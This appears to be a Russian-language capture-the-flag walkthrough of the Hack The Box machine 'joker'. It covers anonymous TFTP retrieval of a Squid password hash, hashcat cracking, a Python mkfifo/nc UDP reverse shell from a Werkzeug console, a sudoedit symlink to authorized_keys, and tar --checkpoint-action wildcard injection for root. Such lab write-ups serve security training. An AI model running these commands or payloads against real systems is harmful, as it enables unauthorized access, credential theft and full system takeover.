Обзор сервисов
Запустим сканирование портов с помощью nmap
:
$ nmap --privileged -sC -sV -sT -Pn -p- -v -oN nmap 10.10.10.21
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
| 256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_ 256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ nmap --privileged -sU -sV -v 10.10.10.21
69 tftp
Обнаруживаем TFTP (по UDP) с анонимным доступом.
TFTP
На TFTP-сервере обнаруживаем хеш паролей от squid.
$ tftp 10.10.10.21
tftp> get /etc/squid/squid.conf
Received 295428 bytes in 32.8 seconds
tftp> get /etc/squid/passwords
Received 48 bytes in 0.1 seconds
$ cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
$ cat squid.conf
...
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny manager
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm kalamari
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern (Release|Packages(.gz)*)$ 0 20% 2880
refresh_pattern . 0 20% 4320
...
Сбрутим пароль:
$ hashcat -m 1600 --username passwords /usr/share/wordlists/rockyou.txt
kalamari:ihateseafood
Теперь воспользуемся HTTP-прокси, чтобы поискать с помощью gobuster
интересные эндпоинты.
$ gobuster dir -u http://127.0.0.1 -w /usr/share/seclists/Discovery/Web-Content/common.txt --proxy="http://kalamari:[email protected]:3128" --threads=50
/console (Status: 200) [Size: 1479]
/list (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]
Находим интересный эндпоинт /console
:
Так как разрешен только UDP, стартанем nc
в режиме UDP.
rlwrap nc -lnvp 1234 -u
В консоли http://127.0.0.1/console
запустим реверс-шелл:
import os;os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.6 1234 >/tmp/f").read()
Повышение привилегий до пользователя
Проверим, что может делать пользователь из-под sudo
:
werkzeug@joker:~/shorty/data$ sudo -l
Matching Defaults entries for werkzeug on joker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
sudoedit_follow, !sudoedit_checkdir
User werkzeug may run the following commands on joker:
(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
Мы можем редактировать файлы /var/www/*/*/layout.html
с помощью sudoedit
без пароля, поэтому сделаем символьную ссылку на authorized_keys
и добавим туда наш SSH-ключ.
cd /var/www/testing
mkdir t
ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/t/layout.html
sudoedit -u alekos /var/www/testing/t/layout.html
Теперь просто подключимся по SSH:
Пользовательский флаг
alekos@joker:~$ cat user.txt
a298121179fe93f2978d3337dbd7057b
Cron-задача
Находим cron-задачу, которая сжимает /home/alekos/development
в /home/alekos/backup/dev-xxxx.tar.gx
, поэтому мы можем использовать статью и прописать пользователю root
наш SSH-ключ в authorized_keys
.
$ cd /home/alekos/development
$ nano test.sh
#!/bin/sh
mkdir /root/.ssh
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtRShyvgwXRSQCdJxVHSOmsvH1gbQMXAuUYSs0abix0cynMoPGfWCO9GE9nF6gSvcrvcu5L6aLnOFkot147K8uys3BCGRyeUpkdf+3ulecAHJCvMRymEr0dUzxu+1KTINPrxNtDOf7sLRPIr0pKql7Roi4LQ4SuFuB2Rm+LUaQvjSYbogt+gtEYEOHlfetJC/4XthYcmFi4jQdA9DEva07LIlmIsr/CmtLFZ40/zSKcv88OFXAUW86+82KOR/LcV65TDQ4uXyF72d6R5pmXods7EP3WqdFxsIHq0rGPJPitSSIGzWsYF0k5NdN4i+990OBUi3dHaFHy9F6TVLPR7tQMj6zaSBp4gPnCCsFebLnfuv3tN4gOL7CS21bJS7HYaTa3ApGN+onUyCn7NK0JXpNpm9YUu43IVwNRA6Z6E20hVfbxhEYQLB1PhhfF6DPQ/b4NI8fch1zGV3uL0qK8XL7K8zKsYOgWTffmH2s/kh724HuI2jUxBiJ3RH171cRxnU= kali@kalihackthebox >> /root/.ssh/authorized_keys
$ touch -- --checkpoint=1
$ touch -- '--checkpoint-action=exec=sh test.sh'
Ждем 5 минут и подключаемся по SSH.
Флаг суперпользователя
root@joker:~# cd /root
root@joker:~# ls
backup.sh root.txt
root@joker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@joker:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:dd:b4 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.21/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:ddb4/64 scope link
valid_lft forever preferred_lft forever
root@joker:~# cat root.txt
d452b7faf5fd5b30210f340ef1d4146e